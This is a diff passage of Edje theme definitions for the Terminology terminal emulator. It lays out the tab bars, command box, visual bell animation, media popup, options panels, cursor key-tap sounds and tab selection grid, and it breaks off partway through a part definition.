+         part { name: "tableft"; type: RECT;
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               rel2.to_x: "terminology.tab";
+               rel2.to_y: "tabmiddle";
+               rel2.relative: 0.0 1.0;
+               color: 0 0 0 0;
+               visible: 0;
+               fixed: 1 1;
+            }
+            description { state: "tab" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         part { name: "tabright"; type: RECT;
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               rel1.to: "terminology.tab";
+               rel1.relative: 1.0 0.0;
+               rel2.to_y: "tabmiddle";
+               color: 0 0 0 0;
+               visible: 0;
+               fixed: 1 1;
+            }
+            description { state: "tab" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         part { name: "tabmiddle"; type: RECT;
+            description { state: "default" 0.0;
+               rel1.to: "terminology.tab";
+               rel2.to_x: "terminology.tab";
+               rel2.to_y: "tablimit0";
+               rel2.offset: -1 0;
+               color: 0 0 0 0;
+               align: 0.0 0.0;
+               visible: 0;
+               fixed: 1 1;
+            }
+            description { state: "tab" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+
+         ////////////////////////////////////////////////////////////////////
+         // a place terminology will place an entry box for internal commands
+         part { name: "cmdclip"; type: RECT;
+            description { state: "default" 0.0;
+               color: 255 255 255 255;
+               rel1.to: "terminology.cmdbox";
+               rel1.offset: -100 -100;
+               rel2.to: "terminology.cmdbox";
+               rel2.offset: 99 99;
+               color: 255 255 255 0;
+               visible: 0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 255;
+               visible: 1;
+            }
+         }
+         part { name: "cmdback"; type: RECT;
+            clip_to: "cmdclip";
+            description { state: "default" 0.0;
+               color: 255 255 255 255;
+               rel1.to: "terminology.cmdbox";
+               rel1.offset: -2 -2;
+               rel2.to: "terminology.cmdbox";
+               rel2.offset: 1 1;
+            }
+         }
+         part { name: "terminology.cmdbox"; type: SWALLOW;
+            clip_to: "cmdclip";
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               min: 8 8;
+               rel1.relative: 0.0 1.0;
+               rel1.offset: 8 9;
+               rel2.offset: -9 9;
+               align: 0.5 0.0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               rel1.offset: 8 -9;
+               rel2.offset: -9 -9;
+               align: 0.5 1.0;
+            }
+         }
+         program { name: "cmdshow0";
+            signal: "cmdbox,show";
+            source: "terminology";
+            action: STATE_SET "visible" 0.0;
+            transition: DECELERATE 0.4;
+            target: "cmdclip";
+         }
+         program { name: "cmdshow";
+            signal: "cmdbox,show";
+            source: "terminology";
+            action: STATE_SET "visible" 0.0;
+            transition: SPRING 0.4 0.5 4;
+            target: "terminology.cmdbox";
+         }
+         program { name: "cmdhide";
+            signal: "cmdbox,hide";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            transition: ACCELERATE 0.5;
+            target: "terminology.cmdbox";
+            target: "cmdclip";
+         }
+
+         ////////////////////////////////////////////////////////////////////
+         // visual bell - spinning red siren light
+         part { name: "bell_base";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               visible: 0;
+               color: 255 255 255 0;
+               min: 32 32;
+               max: 32 32;
+               rel2.offset: -1 -1;
+               align: 1.0 1.0;
+               image.normal: "bg_led_base.png";
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+               color: 255 255 255 255;
+            }
+         }
+         part { name: "bell";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               visible: 0;
+               color: 255 255 255 0;
+               rel1.to: "bell_base";
+               rel2.to: "bell_base";
+               image.normal: "bg_led.png";
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+               color: 255 255 255 255;
+            }
+         }
+         part { name: "bell_strobe";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               visible: 0;
+               color: 255 255 255 0;
+               rel1.to: "bell";
+               rel2.to: "bell";
+               image.normal: "bg_led_strobe.png";
+               map {
+                  on: 1;
+                  smooth: 1;
+                  rotation.center: "bell";
+               }
+            }
+            description { state: "spin" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+               color: 255 255 255 255;
+               map.rotation.z: 36.0;
+            }
+            description { state: "spin_done" 0.0;
+               inherit: "default" 0.0;
+               visible: 0;
+               color: 255 255 255 0;
+               map.rotation.z: 684.0;
+            }
+         }
+         program { name: "bell0";
+            signal: "bell";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            target: "bell_base";
+            target: "bell";
+            target: "bell_strobe";
+            after: "bell";
+         }
+         program { name: "bell";
+            action: STATE_SET "visible" 0.0;
+            target: "bell_base";
+            after: "bell2";
+         }
+         program { name: "bell2";
+            action: STATE_SET "visible" 0.0;
+            transition: DECELERATE 0.1;
+            target: "bell";
+            after: "bell3";
+         }
+         program { name: "bell3";
+            action: STATE_SET "spin" 0.0;
+            transition: LINEAR 0.1;
+            target: "bell_strobe";
+            after: "bell4.0";
+            after: "bell4.1";
+            after: "bell4.2";
+         }
+         program { name: "bell4.0";
+            action: STATE_SET "default" 0.0;
+            transition: ACCELERATE 1.2;
+            target: "bell";
+         }
+         program { name: "bell4.1";
+            action: STATE_SET "default" 0.0;
+            transition: ACCELERATE 1.6;
+            target: "bell_base";
+         }
+         program { name: "bell4.2";
+            action: STATE_SET "spin_done" 0.0;
+            transition: LINEAR 0.9;
+            target: "bell_strobe";
+         }
+
+         ////////////////////////////////////////////////////////////////////
+         // popup media over the terminal (until dismissed)
+         part { name: "popmedia_clip"; type: RECT;
+            mouse_events: 1;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               visible: 0;
+               color: 255 255 255 0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+               color: 255 255 255 255;
+            }
+         }
+         part { name: "popmedia_shadow";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1 {
+                  to: "terminology.popmedia";
+               }
+               rel2 {
+                  to: "terminology.popmedia";
+               }
+               image.normal: "pm_shadow.png";
+               image.border: 64 64 64 64;
+               image.border_scale_by: 0.1;
+               fill.smooth: 0;
+               visible: 0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               rel1.offset: -32 -32;
+               rel2.offset: 31 31;
+               image.border_scale_by: 1.0;
+               visible: 1;
+            }
+         }
+         part { name: "popmedia_fill";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.to: "terminology.popmedia";
+               rel2.to: "terminology.popmedia";
+               image.normal: "pm_fill.png";
+               fill {
+                  size.relative: 0.0 0.0;
+                  size.offset: 64 64;
+               }
+            }
+         }
+         part { name: "terminology.popmedia"; type: SWALLOW;
+            clip_to: "popmedia_clip";
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.relative: 0.5 0.5;
+               rel2.relative: 0.5 0.5;
+               visible: 0;
+            }
+            description { state: "image" 0.0;
+               inherit: "default" 0.0;
+               rel1.relative: 0.1 0.1;
+               rel2.relative: 0.9 0.9;
+               visible: 1;
+            }
+            description { state: "scale" 0.0;
+               inherit: "default" 0.0;
+               rel1.relative: 0.1 0.1;
+               rel2.relative: 0.9 0.9;
+               visible: 1;
+            }
+            description { state: "edje" 0.0;
+               inherit: "default" 0.0;
+               rel1.relative: 0.1 0.1;
+               rel2.relative: 0.9 0.9;
+               visible: 1;
+            }
+            description { state: "movie" 0.0;
+               inherit: "default" 0.0;
+               rel1.relative: 0.1 0.1;
+               rel2.relative: 0.9 0.9;
+               visible: 1;
+            }
+         }
+         part { name: "popmedia_overlay";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.to: "terminology.popmedia";
+               rel2.to: "terminology.popmedia";
+               image.normal: "pm_overlay.png";
+               fill.smooth: 0;
+               visible: 0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         part { name: "popmedia_bevel";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.to: "terminology.popmedia";
+               rel2.to: "terminology.popmedia";
+               image.normal: "bg_bevel.png";
+               image.border: 3 3 5 3;
+               image.middle: 0;
+               fill.smooth: 0;
+               visible: 0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         part { name: "popmedia_glintclip"; type: RECT;
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               visible: 0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         part { name: "popmedia_glint";
+            mouse_events: 0;
+            clip_to: "popmedia_glintclip";
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               min: 79 5;
+               max: 79 5;
+               rel1 {
+                  to: "terminology.popmedia";
+                  relative: 0.0 0.0;
+                  offset: 0 0;
+               }
+               rel2 {
+                  to: "terminology.popmedia";
+                  relative: 1.0 0.0;
+                  offset: -1 0;
+               }
+               image.normal: "bg_glint.png";
+               visible: 0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         part { name: "popmedia_shine";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               rel1.to: "terminology.popmedia";
+               rel2.to: "terminology.popmedia";
+               image.normal: "bg_shine.png";
+               fill.smooth: 0;
+               align: 0.5 0.0;
+               aspect: (255/120) (255/120);
+               aspect_preference: HORIZONTAL;
+               visible: 0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         part { name: "popmedia_dismiss"; type: RECT;
+            mouse_events: 1;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               color: 0 0 0 0;
+               visible: 0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+            }
+         }
+         program { name: "popmedia_dismiss";
+            signal: "mouse,clicked,*";
+            source: "popmedia_dismiss";
+            action: STATE_SET "default" 0.0;
+            transition: DECELERATE 0.5;
+            target: "terminology.popmedia";
+            target: "popmedia_clip";
+            target: "popmedia_dismiss";
+            target: "popmedia_shadow";
+            target: "popmedia_fill";
+            target: "popmedia_overlay";
+            target: "popmedia_bevel";
+            target: "popmedia_glint";
+            target: "popmedia_glintclip";
+            target: "popmedia_shine";
+            after: "popmedia_dismiss2";
+         }
+         program { name: "popmedia_dismiss2";
+            action: SIGNAL_EMIT "popmedia,done" "terminology";
+         }
+         program { name: "popmedia_off";
+            signal: "popmedia,off";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            transition: DECELERATE 0.2;
+            target: "terminology.popmedia";
+            target: "popmedia_clip";
+            target: "popmedia_dismiss";
+            target: "popmedia_shadow";
+            target: "popmedia_fill";
+            target: "popmedia_overlay";
+            target: "popmedia_bevel";
+            target: "popmedia_glint";
+            target: "popmedia_glintclip";
+            target: "popmedia_shine";
+            after: "popmedia_dismiss2";
+         }
+         program { name: "popmedia_img";
+            signal: "popmedia,image";
+            source: "terminology";
+            action: STATE_SET "image" 0.0;
+            transition: DECELERATE 0.2;
+            target: "terminology.popmedia";
+         }
+         program { name: "popmedia_scale";
+            signal: "popmedia,scale";
+            source: "terminology";
+            action: STATE_SET "scale" 0.0;
+            transition: DECELERATE 0.2;
+            target: "terminology.popmedia";
+         }
+         program { name: "popmedia_edje";
+            signal: "popmedia,edje";
+            source: "terminology";
+            action: STATE_SET "edje" 0.0;
+            transition: DECELERATE 0.2;
+            target: "terminology.popmedia";
+         }
+         program { name: "popmedia_mov";
+            signal: "popmedia,movie";
+            source: "terminology";
+            action: STATE_SET "movie" 0.0;
+            transition: DECELERATE 0.2;
+            target: "terminology.popmedia";
+         }
+         program { name: "popmedia_img2";
+            signal: "popmedia,image";
+            source: "terminology";
+            action: STATE_SET "visible" 0.0;
+            transition: DECELERATE 0.2;
+            target: "popmedia_clip";
+            target: "popmedia_dismiss";
+            target: "popmedia_shadow";
+            target: "popmedia_fill";
+            target: "popmedia_overlay";
+            target: "popmedia_bevel";
+            target: "popmedia_glint";
+            target: "popmedia_glintclip";
+            target: "popmedia_shine";
+         }
+         program { name: "popmedia_scale2";
+            signal: "popmedia,scale";
+            source: "terminology";
+            action: STATE_SET "visible" 0.0;
+            transition: DECELERATE 0.2;
+            target: "popmedia_clip";
+            target: "popmedia_dismiss";
+            target: "popmedia_shadow";
+            target: "popmedia_fill";
+            target: "popmedia_overlay";
+            target: "popmedia_bevel";
+            target: "popmedia_glint";
+            target: "popmedia_glintclip";
+            target: "popmedia_shine";
+         }
+         program { name: "popmedia_edje2";
+            signal: "popmedia,edje";
+            source: "terminology";
+            action: STATE_SET "visible" 0.0;
+            transition: DECELERATE 0.2;
+            target: "popmedia_clip";
+            target: "popmedia_dismiss";
+            target: "popmedia_shadow";
+            target: "popmedia_fill";
+            target: "popmedia_overlay";
+            target: "popmedia_bevel";
+            target: "popmedia_glint";
+            target: "popmedia_glintclip";
+            target: "popmedia_shine";
+         }
+         program { name: "popmedia_mov2";
+            signal: "popmedia,movie";
+            source: "terminology";
+            action: STATE_SET "visible" 0.0;
+            transition: DECELERATE 0.2;
+            target: "popmedia_clip";
+            target: "popmedia_dismiss";
+            target: "popmedia_shadow";
+            target: "popmedia_fill";
+            target: "popmedia_overlay";
+            target: "popmedia_bevel";
+            target: "popmedia_glint";
+            target: "popmedia_glintclip";
+            target: "popmedia_shine";
+         }
+
+         ////////////////////////////////////////////////////////////////////
+         // overlayed options and controls
+         part { name: "terminology.about"; type: SWALLOW;
+            scale: 1;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               min: 198 198;
+               max: 198 198;
+               align: 0.5 0.0;
+               visible: 0;
+               rel1.relative: 0.0 1.0;
+               rel2.relative: 1.0 1.0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+               align: 0.5 0.5;
+               rel1.relative: 0.0 0.0;
+               rel2.relative: 1.0 1.0;
+            }
+         }
+         program { name: "ab_show";
+            signal: "about,show";
+            source: "terminology";
+            action: STATE_SET "visible" 0.0;
+            transition: SPRING 1.2 2.0 6;
+            target: "terminology.about";
+         }
+         program { name: "ab_hide";
+            signal: "about,hide";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            transition: DECELERATE 0.6;
+            target: "terminology.about";
+         }
+
+         ////////////////////////////////////////////////////////////////////
+         // swallow to hold invisile rect to click on to dismiss things
+         part { name: "terminology.dismiss"; type: SWALLOW;
+            description { state: "default" 0.0;
+            }
+         }
+
+         ////////////////////////////////////////////////////////////////////
+         // overlayed options and controls
+         part { name: "terminology.optdetails"; type: SWALLOW;
+            scale: 1;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               min: 40 40;
+               align: 0.0 0.5;
+               visible: 0;
+               rel1 {
+                  relative: 1.0 0.02;
+                  offset: 2 2;
+               }
+               rel2 {
+                  relative: 1.0 0.98;
+                  offset: 2 -3;
+               }
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+               align: 1.0 0.5;
+               rel1 {
+                  relative: 0.1 0.02;
+                  offset: 2 2;
+               }
+               rel2 {
+                  to_x: "terminology.options";
+                  relative: 0.0 0.98;
+                  offset: -3 -3;
+               }
+            }
+         }
+         program { name: "opdt_show";
+            signal: "optdetails,show";
+            source: "terminology";
+            action: STATE_SET "visible" 0.0;
+            transition: DECELERATE 0.4;
+            target: "terminology.optdetails";
+         }
+         program { name: "opdt_hide";
+            signal: "optdetails,hide";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            transition: DECELERATE 0.2;
+            target: "terminology.optdetails";
+            after: "opdt_hide2";
+         }
+         program { name: "opdt_hide2";
+            action: SIGNAL_EMIT "optdetails,hide,done" "terminology";
+         }
+         
+         part { name: "terminology.options"; type: SWALLOW;
+            scale: 1;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               align: 0.0 0.5;
+               visible: 0;
+               rel1.relative: 1.0 0.02;
+               rel2 {
+                  relative: 1.0 0.98;
+                  offset: -3 -3;
+               }
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               visible: 1;
+               align: 1.0 0.5;
+               rel1 {
+                  offset: -3 2;
+               }
+               rel2 {
+                  offset: -3 -3;
+               }
+            }
+         }
+         program { name: "op_show";
+            signal: "options,show";
+            source: "terminology";
+            action: STATE_SET "visible" 0.0;
+            transition: DECELERATE 0.4;
+            target: "terminology.options";
+         }
+         program { name: "op_hide";
+            signal: "options,hide";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            transition: DECELERATE 0.6;
+            target: "terminology.options";
+         }
+         
+         part { name: "terminology.controls"; type: SWALLOW;
+            scale: 1;
+            description { state: "default" 0.0;
+               fixed: 1 1;
+               min: 100 100;
+               align: 0.0 1.0;
+               visible: 0;
+               rel1.relative: 1.0 1.0;
+               rel2.relative: 1.0 1.0;
+            }
+            description { state: "visible" 0.0;
+               inherit: "default" 0.0;
+               align: 1.0 1.0;
+               rel1.offset: -3 -3;
+               rel2.offset: -3 -3;
+               visible: 1;
+            }
+         }
+         program { name: "ct_show";
+            signal: "controls,show";
+            source: "terminology";
+            action: STATE_SET "visible" 0.0;
+            transition: DECELERATE 0.3;
+            target: "terminology.controls";
+         }
+         program { name: "ct_hide";
+            signal: "controls,hide";
+            source: "terminology";
+            action: STATE_SET "default" 0.0;
+            transition: DECELERATE 0.5;
+            target: "terminology.controls";
+         }
+      }
+   }
+
+   group { name: "terminology/tabbar_back";
+      images {
+         image: "tab_other_l.png" COMP;
+         image: "tab_other_m.png" COMP;
+         image: "tab_other_r.png" COMP;
+         image: "tab_shad_l2.png" COMP;
+         image: "tab_shad_r2.png" COMP;
+      }
+      parts {
+         part { name: "tab_bevel_shad1";
+            mouse_events: 0;
+            clip_to: "clip";
+            description { state: "default" 0.0;
+               rel1.to: "tab_base_top1";
+               rel2.to: "tab_base_top1";
+               image.normal: "tab_shad_l2.png";
+               image.border: 0 0 10 10;
+               fill.smooth: 0;
+            }
+         }
+         part { name: "tab_bevel_shad3";
+            mouse_events: 0;
+            clip_to: "clip";
+            description { state: "default" 0.0;
+               rel1.to: "tab_base_top3";
+               rel2.to: "tab_base_top3";
+               image.normal: "tab_shad_r2.png";
+               image.border: 0 0 10 10;
+               fill.smooth: 0;
+            }
+         }
+         part { name: "tab_base_top1";
+            mouse_events: 0;
+            clip_to: "clip";
+            description { state: "default" 0.0;
+               align: 0.0 0.0;
+               rel1.offset: -4 0;
+               max: 12 99999;
+               min: 12 0;
+               image.normal: "tab_other_l.png";
+               image.border: 0 0 4 4;
+               fill.smooth: 0;
+            }
+         }
+         part { name: "tab_base_top2";
+            mouse_events: 0;
+            clip_to: "clip";
+            description { state: "default" 0.0;
+               rel1.to: "tab_base_top1";
+               rel1.relative: 1.0 0.0;
+               rel2.to: "tab_base_top3";
+               rel2.relative: 0.0 1.0;
+               image.normal: "tab_other_m.png";
+               image.border: 0 0 4 4;
+               fill.smooth: 0;
+            }
+         }
+         part { name: "tab_base_top3";
+            mouse_events: 0;
+            clip_to: "clip";
+            description { state: "default" 0.0;
+               align: 1.0 0.0;
+               rel2.offset: 3 -1;
+               max: 12 99999;
+               min: 12 0;
+               image.normal: "tab_base_r1.png";
+               image.normal: "tab_other_r.png";
+               image.border: 0 0 4 4;
+               fill.smooth: 0;
+            }
+         }
+         part { name: "terminology.title"; type: TEXT; mouse_events: 0;
+            scale: 1;
+            description { state: "default" 0.0;
+               text { font: "Sans:style=Bold"; size: 10;
+                  align: 0.5 0.5;
+                  min: 0 1;
+               }
+               align: 0.5 0.5;
+               color: 96 96 96 255;
+               rel1.to: "tab_base_top2";
+               rel2.to: "tab_base_top2";
+            }
+         }
+         part { name: "clip"; type: RECT;
+            description { state: "default" 0.0;
+               rel2.offset: -1 -2;
+            }
+         }
+         part { name: "event"; type: RECT;
+            description { state: "default" 0.0;
+               color: 0 0 0 0;
+            }
+         }
+         program {
+            signal: "mouse,clicked,1"; source: "event";
+            action: SIGNAL_EMIT "tab,activate" "terminology";
+         }
+      }
+   }
+
+   //////////////////////////////////////////////////////////////////////////////
+   //// the cursor to show where text is typed
+   group { name: "terminology/cursor";
+      images {
+        image: "cr_key.png" COMP;
+        image: "cr_out.png" COMP;
+      }
+      sounds {
+         sample { name: "key-tap1" LOSSY 64;
+            source: "kbd-tap.wav";
+         }
+         sample { name: "key-tap2" LOSSY 64;
+            source: "kbd-tap2.wav";
+         }
+         sample { name: "key-tap3" LOSSY 64;
+            source: "kbd-tap3.wav";
+         }
+         sample { name: "key-tap4" LOSSY 64;
+            source: "kbd-tap4.wav";
+         }
+         sample { name: "key-tap5" LOSSY 64;
+            source: "kbd-tap5.wav";
+         }
+      }
+      parts {
+         part { name: "pulsclip"; type: RECT;
+            description { state: "default" 0.0;
+            }
+            description { state: "pulse" 0.0;
+               color: 255 255 255 80;
+            }
+         }
+         part { name: "key";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               rel1 {
+                  to: "outline";
+                  offset: -5 -5;
+               }
+               rel2 {
+                  to: "outline";
+                  offset: 4 4;
+               }
+               image {
+                  normal: "cr_key.png";
+                  border: 4 4 4 4;
+               }
+               color: 255 255 255 0;
+            }
+            description { state: "on" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 255;
+            }
+            description { state: "out" 0.0;
+               inherit: "default" 0.0;
+               color: 160 100 255 0;
+            }
+         }
+         part { name: "outline";
+            mouse_events: 0;
+            clip_to: "pulsclip";
+            description { state: "default" 0.0;
+               image {
+                  normal: "cr_out.png";
+                  border: 3 3 3 3;
+               }
+               color: 255 255 255 64;
+            }
+            description { state: "focused" 0.0;
+               inherit: "default" 0.0;
+               color: 255 255 255 255;
+            }
+         }
+         programs {
+            program { name: "focus_in_noblink";
+               signal: "focus,in,noblink";
+               source: "terminology";
+               action: STATE_SET "focused" 0.0;
+               target: "outline";
+            }
+            program { name: "focus_in";
+               signal: "focus,in";
+               source: "terminology";
+               action: STATE_SET "focused" 0.0;
+               target: "outline";
+               after: "pulse-prepare";
+            }
+            program { name: "pulse-prepare";
+               action: STATE_SET "default" 0.0;
+               target: "pulsclip";
+               after: "pulse";
+            }
+            program { name: "pulse";
+               action: STATE_SET "pulse" 0.0;
+               transition: DECELERATE 0.5;
+               target: "pulsclip";
+               after: "pulse2";
+            }
+            program { name: "pulse2";
+               action: STATE_SET "default" 0.0;
+               in: 1.5 0.0;
+               transition: DECELERATE 0.5;
+               target: "pulsclip";
+               after: "pulse";
+            }
+
+            program { name: "focus_out";
+               signal: "focus,out";
+               source: "terminology";
+               action: ACTION_STOP;
+               target: "focus_in";
+               target: "pulse";
+               target: "pulse2";
+               after: "focus_out2";
+            }
+            program { name: "focus_out2";
+               action: STATE_SET "default" 0.0;
+               target: "outline";
+               target: "pulsclip";
+            }
+            program {
+               signal: "key,down"; source: "terminology";
+               script {
+#if (EFL_VERSION_MAJOR > 1) || (EFL_VERSION_MINOR >= 8)
+                  new buf[32];
+                  snprintf(buf, 31, "key-down%i", (rand() % 5) + 1);
+                  run_program(get_program_id(buf));
+#else
+                  run_program(PROGRAM:"key-down4"); // chosen by a fair dice roll
+                                                    // guaranteed to be random.
+                                                    // http://xkcd.com/221/
+#endif
+               }
+            }
+            program { name: "key-down1";
+               action: PLAY_SAMPLE "key-tap1" 1.0;
+            }
+            program { name: "key-down2";
+               action: PLAY_SAMPLE "key-tap2" 1.0;
+            }
+            program { name: "key-down3";
+               action: PLAY_SAMPLE "key-tap3" 1.0;
+            }
+            program { name: "key-down4";
+               action: PLAY_SAMPLE "key-tap4" 1.0;
+            }
+            program { name: "key-down5";
+               action: PLAY_SAMPLE "key-tap5" 1.0;
+            }
+            program { name: "key";
+               signal: "key,down";
+               source: "terminology";
+               action: STATE_SET "default" 0.0;
+               target: "key";
+               after: "key2";
+            }
+            program { name: "key2";
+               action: STATE_SET "on" 0.0;
+               target: "key";
+               after: "key3";
+            }
+            program { name: "key3";
+               action: STATE_SET "out" 0.0;
+               transition: DECELERATE 0.3;
+               target: "key";
+            }
+         }
+      }
+   }
+
+   //////////////////////////////////////////////////////////////////////////////
+      //// an object to contain the selection tool used for selecting tabs (with
+      //// a glow grid of terms
+      group { name: "terminology/sel/base";
+         images {
+           image: "pm_fill.png" COMP;
+         }
+         script {
+            public message(Msg_Type:type, id, ...) {
+               if ((type != MSG_INT) || (id != 1)) return;
+
+               if (getarg(2) < 100)
+                 set_state(PART:"fill", "translucent", 0.0);
+               else
+                 set_state(PART:"fill", "default", 0.0);
+         }
+      }
+         parts {
+            ////////////////////////////////////////////////////////////////////
+            // background and shadows
+            part { name: "fill";
+               mouse_events: 0;
+               description { state: "default" 0.0;
+                  image.normal: "pm_fill.png";
+                  fill {
+                     size.relative: 0.0 0.0;
+                     size.offset: 64 64;
+                  }
+               }
+               description { state: "translucent" 0.0;
+                  inherit: "default" 0.0;
+                  visible: 0;
+               }
+            }
+            program {
+               signal: "translucent,on"; source: "terminology";
+               action: STATE_SET "translucent" 0.0;
+               target: "fill";
+            }
+            program {
+               signal: "translucent,off"; source: "terminology";
+               action: STATE_SET "default" 0.0;
+               target: "fill";
+            }
+
+            ////////////////////////////////////////////////////////////////////
+            // content (where the grid of terms goes)
+            part { name: "clip"; type: RECT;
+               description { state: "default" 0.0;
+               }
+            }
+            part { name: "terminology.content"; type: SWALLOW;
+               clip_to: "clip";
+               description { state: "default" 0.0;
+               }
+            }
+         }
+      }
+
+      group { name: "terminology/sel/item";
+         images {
+           image: "bg_bevel.png" COMP;
+           image: "pm_shadow.png" COMP;
+           image: "cr_glow.png" COMP;
+           image: "bg_led_base.png" COMP;
+           image: "bg_led.png" COMP;
+           image: "bg_led_strobe.png" COMP;
+         }
+         parts {
+            ////////////////////////////////////////////////////////////////////
+            // base background and selection image
+            part { name: "clip"; type: RECT;
+               description { state: "default" 0.0;
+                  rel1.to: "terminology.content";
+                  rel2.to: "terminology.content";
+                  color: 128 128 128 255;
+               }
+               description { state: "selected" 0.0;
+                  inherit: "default" 0.0;
+                  color: 255 255 255 255;
+               }
+            }
+            part { name: "shadow";
+               mouse_events: 0;
+               description { state: "default" 0.0;
+                  fixed: 1 1;
+                  rel1.to: "terminology.content";
+                  rel2.to: "terminology.content";
+                  rel1.offset: -5 -5;
+                  rel2.offset: 4 4;
+                  image.normal: "pm_shadow.png";
+                  image.border: 64 64 64 64;
+                  image.border_scale_by: 0.1;
+                  color: 255 255 255 128;
+                  fill.smooth: 0;
+               }
+               description { state: "selected" 0.0;
+                  inherit: "default" 0.0;
+                  rel1.offset: -40 -40;
+                  rel2.offset: 39 39;
+                  image.border_scale_by: 1.0;
+                  color: 255 255 255 255;
+               }
+            }
+
+            part { name: "glow";
+               mouse_events: 0;
+               description { state: "default" 0.0;
+                  rel1.to: "terminology.content";
+                  rel2.to: "terminology.content";
+                  rel1.offset: -4 -4;
+                  rel2.offset: 3 3;
+                  image {
+                     normal: "cr_glow.png";
+                     border: 9 9 9 9;
+                  }
+                  color: 255 255 255 0;
+               }
+               description { state: "selected" 0.0;
+                  inherit: "default" 0.0;
+                  color: 255 255 255 255;
+               }
+            }
+
+            ////////////////////////////////////////////////////////////////////
+            // swallowed terminal content + bg inside it
+            part { name: "base"; type: RECT;
+               clip_to: "clip";
+               description { state: "default" 0.0;
+                  color: BG_COLOR;
+                  rel1.to: "terminology.content";
+                  rel2.to: "terminology.content";
+               }
+            }
+            part { name: "terminology.content"; type: SWALLOW;
+               clip_to: "clip";
+               description { state: "default" 0.0;
+                  rel1.relative: 0.1 0.1;
+                  rel2.relative: 0.9 0.9;
+               }
+               description { state: "selected" 0.0;
+                  inherit: "default" 0.0;
+                  rel1.relative: 0.0 0.0;
+                  rel2.relative: 1.0 1.0;
+               }
+            }
+            program {
+               signal: "selected"; source: "terminology";
+               action: STATE_SET "selected" 0.0;
+               transition: DECELERATE 0.2 CURRENT;
+               target: "terminology.content";
+               target: "terminology.label";
+               target: "shadow";
+               target: "clip";
+               target: "glow";
+            }
+            program {
+               signal: "selected,start"; source: "terminology";
+               action: STATE_SET "selected" 0.0;
+               target: "terminology.content";
+               target: "terminology.label";
+               target: "shadow";
+               target: "clip";
+               target: "glow";
+            }
+            program {
+               signal: "unselected"; source: "terminology";
+               action: STATE_SET "default" 0.0;
+               transition: DECELERATE 0.4 CURRENT;
+               target: "terminology.content";
+               target: "terminology.label";
+               target: "shadow";
+               target: "clip";
+               target: "glow";
+            }
+
+            ////////////////////////////////////////////////////////////////////
+            // fancy stuff over the top of the terminal for shading and labelling
+            part { name: "bevel";
+               mouse_events: 0;
+               description { state: "default" 0.0;
+                  fixed: 1 1;
+                  rel1.to: "terminology.content";
+                  rel2.to: "terminology.content";
+                  image.normal: "bg_bevel.png";
+                  image.border: 3 3 5 3;
+                  image.middle: 0;
+                  fill.smooth: 0;
+               }
+            }
+            part { name: "terminology.label"; type: TEXT; mouse_events: 0;
+               scale: 1;
+               description { state: "default" 0.0;
+                  rel1.to: "terminology.content";
+                  rel2.to: "terminology.content";
+                  color: 255 255 255 255;
+                  align: 0.5 1.0;
+                  text { font: "Sans"; size: 10;
+                     align: 0.5 1.0;
+                     min: 0 1;
+                  }
+               }
+               description { state: "selected" 0.0;
+                  inherit: "default" 0.0;
+                  color: 255 255 255 255;
+                  text { font:"Sans:style=Bold"; }
+               }
+            }
+
+            ////////////////////////////////////////////////////////////////////
+            // visual bell - spinning red siren light
+            part { name: "bell_base";
+               mouse_events: 0;
+               description { state: "default" 0.0;
